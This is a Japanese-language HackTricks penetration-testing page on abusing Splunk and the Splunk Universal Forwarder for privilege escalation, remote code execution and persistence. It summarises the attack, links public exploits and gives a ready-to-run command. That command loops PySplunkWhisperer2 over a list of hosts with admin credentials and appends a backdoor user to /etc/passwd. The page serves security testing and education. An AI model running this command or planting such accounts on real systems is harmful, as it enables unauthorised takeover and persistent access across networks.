Splunk LPE and Persistence

Support HackTricks

もし内部または外部でマシンを列挙しているときにSplunkが実行中(ポート8090)で、運が良ければ有効な認証情報を知っている場合、Splunkサービスを悪用してシェルを実行することができます。もしrootが実行している場合、特権をrootに昇格させることができます。

また、もしすでにrootであり、Splunkサービスがlocalhostのみにリッスンしていない場合、Splunkサービスからパスワードファイルを盗み、パスワードをクラッキングしたり、新しい認証情報を追加したりできます。そして、ホスト上で持続性を維持します。

下の最初の画像では、Splunkdのウェブページがどのように見えるかを示しています。

Splunk Universal Forwarder Agent Exploit Summary

詳細については、投稿https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/を確認してください。これは要約です:

Exploit Overview: Splunk Universal Forwarder Agent(UF)をターゲットにしたエクスプロイトは、エージェントパスワードを持つ攻撃者がエージェントを実行しているシステム上で任意のコードを実行できるようにし、ネットワーク全体を危険にさらす可能性があります。

Key Points:

  • UFエージェントは、受信接続やコードの真正性を検証しないため、不正なコード実行に対して脆弱です。

  • 一般的なパスワード取得方法には、ネットワークディレクトリ、ファイル共有、内部文書での発見が含まれます。

  • 成功したエクスプロイトは、侵害されたホストでのSYSTEMまたはrootレベルのアクセス、データの流出、さらなるネットワーク侵入につながる可能性があります。

Exploit Execution:

  1. 攻撃者がUFエージェントパスワードを取得します。

  2. Splunk APIを利用して、エージェントにコマンドやスクリプトを送信します。

  3. 可能なアクションには、ファイル抽出、ユーザーアカウント操作、システムの侵害が含まれます。

Impact:

  • 各ホストでSYSTEM/rootレベルの権限を持つ完全なネットワーク侵害。

  • 検出を回避するためのログの無効化の可能性。

  • バックドアやランサムウェアのインストール。

Example Command for Exploitation:

for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done

利用可能な公開エクスプロイト:

  • https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2

  • https://www.exploit-db.com/exploits/46238

  • https://www.exploit-db.com/exploits/46487

Splunkクエリの悪用

詳細については、https://blog.hrncirik.net/cve-2023-46214-analysisを確認してください

HackTricksをサポートする

Last updated